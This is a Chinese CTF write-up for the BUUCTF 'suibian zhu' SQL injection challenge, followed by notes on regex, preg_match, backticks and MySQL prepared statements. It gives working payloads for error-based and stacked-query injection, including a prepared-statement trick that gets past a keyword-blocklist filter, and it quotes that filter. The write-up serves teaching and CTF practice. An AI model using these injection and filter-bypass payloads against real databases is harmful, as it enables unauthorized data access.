1. 程式人生 > 其它 >BUUCTF [強網杯2019] 隨便注

BUUCTF [強網杯2019] 隨便注

一、解題過程

  開啟後的介面

  先看一下頁面原始碼是否隱藏著什麼提示

  結果發現什麼都沒有,嘗試提交

  可以看到實際上是get提交,並且返回了陣列的列舉資訊

  發現只有當inject=1或者2時才存在返回資訊。

  老方法先嚐試新增一個單引號看看是否存在注入,結果發現有報錯資訊,是一個單引號的字元型注入。

  因為存在返回資訊所以想著可能是個回顯注入,先檢視一共有幾列:

1' order by 2#  共2列
3' union select 1,2#  確認一下回顯位置,結果發現了正則過濾

  可以看到圖中的preg_match函式,對select、update、delete等關鍵字進行了正則過濾,大小寫不敏感,無法使用大小寫進行繞過。但是可以發現這個過濾並不是很全,從前面的步驟中可以看到SQL語句的報錯資訊是可以返回到頁面中來的,所以也許能用報錯注入繞過這個函式的過濾。

1' and extractvalue(1, concat(0x7e,database(),0x7e))#

  資料庫名被成功注出,叫做"supersqli",接著發現當前資料庫使用者是root。但接下來要注表名、列名和內容的時候避不開要使用select,沒見過preg_match並且不瞭解正則的我就卡在了這裡,結果完全忘記嘗試堆查詢。

  看了其他師傅的wp發現原來堆查詢還可以這樣寫:

0';show databases;#
0';show tables;#
0';show columns from `1919810931114514`;#  
//注意:這裡表名要用反單引號`把表名括起來

  隨後就在名為“1919810931114514”的表中看到了flag欄位~

  PS:不過show columns只能看到列名無法看到內容  

  接下來這裡用到一個新的學習內容:SQL預處理語句

0';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

  沒有成功,原因是set和prepare被strstr()過濾了,但是don't worry它是大小寫敏感的過濾函式,只需把過濾關鍵字大寫就OK。

0';SET @a=concat("sel","ect flag from `1919810931114514`");PREPARE hello from @a;execute hello;#

  這樣flag就出來辣!

二、知識點

1、正則表示式

  正則表示式是一種文字模式,包括普通字元(例如,a 到 z 之間的字母)和特殊字元(稱為“元字元”)。模式描述在搜尋文字時要匹配的一個或多個字串。

  想要看懂正則表示式,就需要先了解正則表示式的語法。

正則表示式基本語法詳解_正則表示式_指令碼之家 (jb51.net)

2、preg_match()函式

(1)語法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
  • $pattern: 要搜尋的模式,字串形式。

  • $subject: 輸入字串。

  • $matches: 如果提供了引數matches,它將被填充為搜尋結果。 $matches[0]將包含完整模式匹配到的文字, $matches[1] 將包含第一個捕獲子組匹配到的文字,以此類推。

  • $flags:可設定標記值
  • $offset: 通常,搜尋會從目標字串的起始位置開始。可選引數 offset 用於指定從目標字串的某個位置開始搜尋(單位是位元組)。
  • 返回值:返回 pattern 的匹配次數。 它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配後 將會停止搜尋。preg_match_all() 不同於此,它會一直搜尋subject 直到到達結尾。 如果發生錯誤preg_match()返回 FALSE。

(2)查詢字串

  利用 preg_match(),我們可以完成字串的規則匹配。如果找到一個匹配,preg_match() 函式返回 1,否則返回 0。還有一個可選的第三引數可以讓你把匹配的部分存在一個數組中。

<?php 
//模式分隔符後的"i"標記這是一個大小寫不敏感的搜尋 
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
     echo "A match was found"; 
} else {
     echo "A match was not found"; } 
?>

  本題中顯示的preg_match的意思為,如果檢測到語句中有select或update或...\.等關鍵字、符號(大小寫不敏感)時,進行攔截。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

(3)查詢單詞

<?php 
/* 模式中的\b標記一個單詞邊界,所以只有獨立的單詞"web"會被匹配,而不會匹配單詞的部分內容比如"webbing" 或 "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.\n"; 
} else {
    echo "A match was not found\n"; 
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "查詢到匹配的字串。\n"; 
} else {
    echo "未發現匹配的字串。\n"; 
} 
?>

(4)獲取url中的域名

<?php
// 從URL中獲取主機名稱
preg_match('@^(?:http://)?([^/]+)@i',"http://www.codercto.com/index.html", $matches);
$host = $matches[1]; 

// 獲取主機名稱的後面兩部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

3、SQL語句中的反單引號`

mysql中引號的用法(反引號``,單引號'',雙引號"") - 堅持一點點 - 部落格園 (cnblogs.com)

反引號:它是為了區分mysql的保留字與普通字元而引入的符號。也就是說如果要用mysql保留欄位做表名和欄位名的時候,必須加上反引號來區分,如:`select`

  在解題的堆查詢注入中,查詢表中欄位名稱的語句一直無法正確執行(0';show columns from '1919810931114514';#),對照了一下別的師傅的wp,發現原來我用的是單引號,而師傅的是返單引號。但1919810931114514並不是mysql的保留欄位啊?

  於是我查了一下mysql的表名是否可以是純數字。

  這樣就清晰了。

4、SQL預處理語句

PREPARE:準備一條SQL語句,並分配給這條SQL語句一個名字供之後呼叫

EXECUTE :執行命令

DEALLOCATE PREPARE:釋放命令

用法:

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name    [USING @var_name [, @var_name] ...] 

{DEALLOCATE | DROP} PREPARE stmt_name

舉個栗子:

  確實就像個函式一樣,prepare準備了一個函式的定義(是個大框架),set用來設定函式的引數值,execute傳參並執行函式。用完了要記得釋放:

deallocate prepare study;

  也可以像本題目的wp一樣,set直接設定好整個SQL語句並將其賦值給變數如@a,prepare study from @a即可。

  參考的文章:

buuctf | [強網杯 2019]隨便注 - laolao - 部落格園 (cnblogs.com)